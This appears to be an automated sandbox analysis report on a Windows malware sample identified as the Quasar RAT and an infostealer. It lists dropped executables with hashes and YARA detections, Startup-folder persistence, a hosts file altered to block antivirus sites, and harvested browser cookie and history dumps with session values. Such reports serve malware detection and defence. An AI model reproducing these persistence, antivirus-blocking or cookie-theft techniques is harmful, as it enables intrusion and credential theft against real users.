SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3rehwstj.y4g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bzktfkhf.esj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ddsqk3gu.wca.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgpdmeeq.goh.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s2p2ugsn.r0x.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vg0r43v2.tpo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z3wvtrrz.y4u.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\crcookies.txt

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text, with very long lines (515), with CRLF line terminators
Category:	dropped
Size (bytes):	3158
Entropy (8bit):	5.8972122901567925
Encrypted:	false
SSDEEP:	96:/JMpO2gpcRqpZX22HTSjv3pB7H7e8zLs/Zw49ckse:BkXRQSfIh
MD5:	8C6FF34551E5D45A9E60A03D31487053
SHA1:	23C65812BDDBE33010D34CA421BD4D187DF95F74
SHA-256:	5D23122C1B86CC45E5EADDED5DED8AFE6751BFC2A9AD645CE59D08AEABED5BD4
SHA-512:	B568472F1AA723F2CE29A5C5BBA33A62599237B5D5DC8ACB19D2749B9E9D662A07BA0E8DDB8408EABB4A012E498C947EF16990218E8A1F6BE2777E66FC11C0F9
Malicious:	false
Preview:	.google.com.TRUE./.FALSE.2597573456.NID.511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk..support.microsoft.com.TRUE./.FALSE.2597573456..AspNetCore.AuthProvider.True..support.microsoft.com.TRUE./.FALSE.2597573456..AspNetCore.Correlation.mdRqPJxLbpyv7vX0eK9YkTR-xwcrW3VBLE4Y3HEvxuU.N..support.microsoft.com.TRUE./.FALSE.2597573456..AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkHB6alahUr8qJ7G_3AejtooymTWCzyO89hshJeX8Gh78kohbIw0IQY4v6LZriT4P2fGeBSMjrvqODB4H_bs2nbfsSfL7aN-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP1uXNT7Y1VSMOfm-L0RnS8.N..support.office.com.TRUE./.FALSE.2597573456.EXPID.8e067c40-5461-4aef-885f-2c92ce6a5474...microsoft.com.TRUE./.FALSE.2597573456.MC1.GUID=749eee6039c5489b9db3000c7ab3f399&HASH=749e&LV=202310&V=4&LU=1696413236917...microsoft.com

C:\Users\user\AppData\Local\Temp\crhistory.txt

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	809
Entropy (8bit):	5.165968547442475
Encrypted:	false
SSDEEP:	24:2rTHwoh9wIwpjRmZDKJCwpjRSpDKJCrTV8woPpSwpjRVpbCwpjOSbpbb:SDTwIYVcDKJCYVuDKJCrSPpSYVVpbCYb
MD5:	6A260B07BAB16CDD661E99BA9E0518F6
SHA1:	13AB556855EADC64A8FC060B09C192AE2EFA2C23
SHA-256:	8014E4C7A0E9C2751F23C198AAFC5350334E087F4F56489BCEBD63EF540AB0CF
SHA-512:	FC5D394BC100D7EB1EF657BFB82F6A67A8A21EB42C2B6B50D4733AFB96DD35C46DE98A7B5055F5D1420EDE794A8190A3A63BDF3D023CBF935E8C68A68BD508EF
Malicious:	false
Preview:	https://go.microsoft.com/fwlink/?linkid=851546..https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016..https://support.microsoft.com/en-us/office/7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us..https://support.microsoft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us..https://go.microsoft.com/fwlink/?LinkId=2106243..https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17..https://support.microsoft.com/en-us/office/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?ui=en-us&rs=en-us&ad=us..https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?ui=en-us&rs=en-us&ad=us..

C:\Users\user\AppData\Local\Tempcrekdeqdcl.db

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrjgblwtvh.db

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrmjdvphem.db

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrrvvpskvx.db

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Tempcrxmsxtppi.db

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe

Download File

Process:	C:\Users\user\AppData\Roaming\Update.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3266048
Entropy (8bit):	6.08313482953806
Encrypted:	false
SSDEEP:	49152:/vOlL26AaNeWgPhlmVqvMQ7XSK0FIkEiU3k/KLoGddq3THHB72eh2NT:/v+L26AaNeWgPhlmVqkQ7XSKuI3
MD5:	F91699F2FF3F446461A302EA2D69BE44
SHA1:	CAF1E89A10B97668773E6150DD4B3CECEE194C86
SHA-256:	BCCAE30D15564418D4F8EE309C47ADAA054039A1A68EA59EE95B6A5EF92D8487
SHA-512:	2EB25181445C88044960AD65417CEE3C14D83BE935C6FC471288687B02C3113851B7B4C980B73994D90688F6E551EEB76001E8CFC120922DACBD5D8C7E3CBC4D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, Author: Joe Security Rule: MAL_QuasarRAT_May19_1, Description: Detects QuasarRAT malware, Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, Author: ditekSHen Rule: MALWARE_Win_QuasarStealer, Description: Detects Quasar infostealer, Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, Author: ditekshen
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d..................1.........>.1.. ........@.. .......................@2...........@...................................1.W.....2...................... 2...................................................... ............... ..H............text...D.1.. ....1................. ..`.rsrc.........2.......1.............@..@.reloc....... 2.......1.............@..B................ .1.....H........................k..p............................................0..M....... ....(.....(...........s....(....(...........s....o....(.....(....s....(........0..8.......(....(0....s....%.o....%.o....%.o....(....&..&...(.............--..........00.......0..@........o....,7(....(0....s....%.o....%.o....%.o....(....&..&...(.............-5..........08......f~w...,.~....(....(.....v.(.....s....}.....s....}....r..(......(.....(......(....*....0..L........{....r...po....

C:\Users\user\AppData\Roaming\Logs\2024-05-12

Download File

Process:	C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe
File Type:	data
Category:	modified
Size (bytes):	320
Entropy (8bit):	7.374828349592649
Encrypted:	false
SSDEEP:	6:ffBcNyLyu+dfkZs+NEkLt3tGty686x90QkBBf9GH5O/zsWYhYMrKao:fC4LygS+NfBt3686x9H0Bf9GH5OLViYj
MD5:	B76305E0AAD8E7F1A0095A88F00B812D
SHA1:	3172FCE3E6D147B22DD171C8A876130BE556F4C9
SHA-256:	7E89CF07E2D16A78B80EEC40AC2EB5BCE5471813B9176304653F9C728ADB681E
SHA-512:	493E82748798B7E77FF7722A224B7057A7F344D96AB1D358BA132D280052FF7251030903A80345283258D67E03BCF9CF13264E37DE79E4B0990331615C3EDE9F
Malicious:	false
Preview:	lV.....(&.. .E..C....,.e-...5.q.].......8..(.H[Z:.<~V..q.`z{.,EKC...,f...9`C......(......XI...w%..(.V'].x.f).Z.U.8....E.,c....~O}.$...(..3Hx.......N..A..H...).s.]..&...mT..-..+.Q..>.`3X....Z nfq.=.21..H.AO....XQ..O.....2.0a..c.cU,..5...?.K......sL...+.?.T.0.........TD....g._[/..^.J271n.#...})".a....!..J_.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchServices.exe

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19292730
Entropy (8bit):	7.9966287606975035
Encrypted:	true
SSDEEP:	393216:ku7L/sQXP8AxYDwdQuslSl99oWOv+9rz657rI4cw:kCL0QkXsdQu9DorvSr+57k4J
MD5:	E35564F0BAD6C37132DC4157519F52E3
SHA1:	D4E2B4359A48CA64C46B20A4C61FFBF693ABECAE
SHA-256:	C0F4D1C48786C2EE5F898BDFE99B89F5D538D04C38B63F066BD69357024FB13C
SHA-512:	ED14C65869CF31DF94166901EEF6B2B42BBE309A9D1C58180122E08A3E9E5E84723CDDFE1597CE1D8EC32254FDF982C383623F14ED2E2809CFB0057355890948
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................-..............,..........................................Rich............................PE..d....e;f.........."....&.....b......@..........@.....................................!'...`.....................................................x....p.......0...#...........p..X...`............................... ...@...............8............................text............................... ..`.rdata..6/.......0..................@..@.data....3..........................@....pdata...#...0...$..................@..@_RDATA.......`......................@..@.rsrc........p......................@..@.reloc..X....p......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\SearchServices.exe

Download File

Process:	C:\Users\user\Desktop\w85VkFOxiD.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19292730
Entropy (8bit):	7.9966287606975035
Encrypted:	true
SSDEEP:	393216:ku7L/sQXP8AxYDwdQuslSl99oWOv+9rz657rI4cw:kCL0QkXsdQu9DorvSr+57k4J
MD5:	E35564F0BAD6C37132DC4157519F52E3
SHA1:	D4E2B4359A48CA64C46B20A4C61FFBF693ABECAE
SHA-256:	C0F4D1C48786C2EE5F898BDFE99B89F5D538D04C38B63F066BD69357024FB13C
SHA-512:	ED14C65869CF31DF94166901EEF6B2B42BBE309A9D1C58180122E08A3E9E5E84723CDDFE1597CE1D8EC32254FDF982C383623F14ED2E2809CFB0057355890948
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................-..............,..........................................Rich............................PE..d....e;f.........."....&.....b......@..........@.....................................!'...`.....................................................x....p.......0...#...........p..X...`............................... ...@...............8............................text............................... ..`.rdata..6/.......0..................@..@.data....3..........................@....pdata...#...0...$..................@..@_RDATA.......`......................@..@.rsrc........p......................@..@.reloc..X....p......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Update.exe

Download File

Process:	C:\Users\user\Desktop\w85VkFOxiD.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3266048
Entropy (8bit):	6.08313482953806
Encrypted:	false
SSDEEP:	49152:/vOlL26AaNeWgPhlmVqvMQ7XSK0FIkEiU3k/KLoGddq3THHB72eh2NT:/v+L26AaNeWgPhlmVqkQ7XSKuI3
MD5:	F91699F2FF3F446461A302EA2D69BE44
SHA1:	CAF1E89A10B97668773E6150DD4B3CECEE194C86
SHA-256:	BCCAE30D15564418D4F8EE309C47ADAA054039A1A68EA59EE95B6A5EF92D8487
SHA-512:	2EB25181445C88044960AD65417CEE3C14D83BE935C6FC471288687B02C3113851B7B4C980B73994D90688F6E551EEB76001E8CFC120922DACBD5D8C7E3CBC4D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: C:\Users\user\AppData\Roaming\Update.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Update.exe, Author: Joe Security Rule: MAL_QuasarRAT_May19_1, Description: Detects QuasarRAT malware, Source: C:\Users\user\AppData\Roaming\Update.exe, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Roaming\Update.exe, Author: ditekSHen Rule: MALWARE_Win_QuasarStealer, Description: Detects Quasar infostealer, Source: C:\Users\user\AppData\Roaming\Update.exe, Author: ditekshen
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d..................1.........>.1.. ........@.. .......................@2...........@...................................1.W.....2...................... 2...................................................... ............... ..H............text...D.1.. ....1................. ..`.rsrc.........2.......1.............@..@.reloc....... 2.......1.............@..B................ .1.....H........................k..p............................................0..M....... ....(.....(...........s....(....(...........s....o....(.....(....s....(........0..8.......(....(0....s....%.o....%.o....%.o....(....&..&...(.............--..........00.......0..@........o....,7(....(0....s....%.o....%.o....%.o....(....&..&...(.............-5..........08......f~w...,.~....(....(.....v.(.....s....}.....s....}....r..(......(.....(......(....*....0..L........{....r...po....

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Users\user\AppData\Local\SecurityHealthServices.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2810
Entropy (8bit):	4.262117794073726
Encrypted:	false
SSDEEP:	48:vDZhyoZWM9rU5fFcDL6iCW1Ri4q+9rn5w0K:vDZEurK9XiCW1Ri4qun54
MD5:	4AC8A26E2CEE1347880EDCCB47AB30EA
SHA1:	A629F6D453014C9DCCB98987E1F4B0A3D4BDD460
SHA-256:	DE574C85B289F23BBA4B932A4C48397C4C61904CB6DF086726DD7F8049624C3A
SHA-512:	FC2AF80B2E84AE114AE06144B9EC41EED50250E20F18DB3D114AC8D2C59EBBFCD440F59D12F173EA6A94BCF394B0CECEE9E120265112B7043BF9E2BD636D6A8A
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 avast.com..0.0.0.0 www.avast.com..0.0.0.0 totalav.com..0.0.0.0 www.totalav.com..0.0.0.0 scanguard.com..0.0.0.0 www.scanguard.com..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.9554595596771644
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	w85VkFOxiD.exe
File size:	25'809'408 bytes
MD5:	4bb4ff4b1fa6c7e122557d8a55826242
SHA1:	241427d58cc7787fd24536821080244f344ddc74
SHA256:	a45c739b9f551d8633053381950f20a617ae2fe9c1d96d4f433d8ffa3015fb5e
SHA512:	4b6e380061a3f05583ad2e14e791b8c61d237e92a45d0abbadcc24fbe7aae3b63c18a02d665a5e2d8cd0e05dee29779f24658f585d9f1272e4fd9bc0532fae16
SSDEEP:	786432:ZXiuaHp1WxVMCLvYEpd3hA/IlF1ZAhfk:vaHfsVDw0DAA31ZAhf
TLSH:	1047233E73C41676BDD06392A30DEDE8994BA6747220F781644F83EEEE45BACD506324
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...................................A.............@..................................x.....................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x401541
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	a9c887a4f18a3fede2cc29ceea138ed3

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 00000008h
nop
mov eax, 00000004h
push eax
mov eax, 00000000h
push eax
lea eax, dword ptr [ebp-04h]
push eax
call 00007FD598AE19EDh
add esp, 0Ch
mov eax, 0040151Fh
push eax
call 00007FD598AE1A27h
mov eax, 00000001h
push eax
call 00007FD598AE1A24h
add esp, 04h
mov eax, 00030000h
push eax
mov eax, 00010000h
push eax
call 00007FD598AE1A18h
add esp, 08h
mov eax, dword ptr [01C9E024h]
mov ecx, dword ptr [01C9E028h]
mov edx, dword ptr [01C9E02Ch]
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-04h]
push eax
mov eax, dword ptr [01C9F000h]
push eax
push edx
push ecx
mov eax, dword ptr [ebp-08h]
push eax
call 00007FD598AE19F2h
add esp, 14h
mov eax, dword ptr [01C9E024h]
mov ecx, dword ptr [01C9E028h]
mov edx, dword ptr [01C9E02Ch]
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [edx]
push eax
mov eax, dword ptr [ecx]
push eax
mov eax, dword ptr [ebp-08h]
mov eax, dword ptr [eax]
push eax
call 00007FD598AE17CCh
add esp, 0Ch
push eax
call 00007FD598AE19C8h
add esp, 04h
leave
ret
push ebp
mov ebp, esp
sub esp, 00000004h
nop
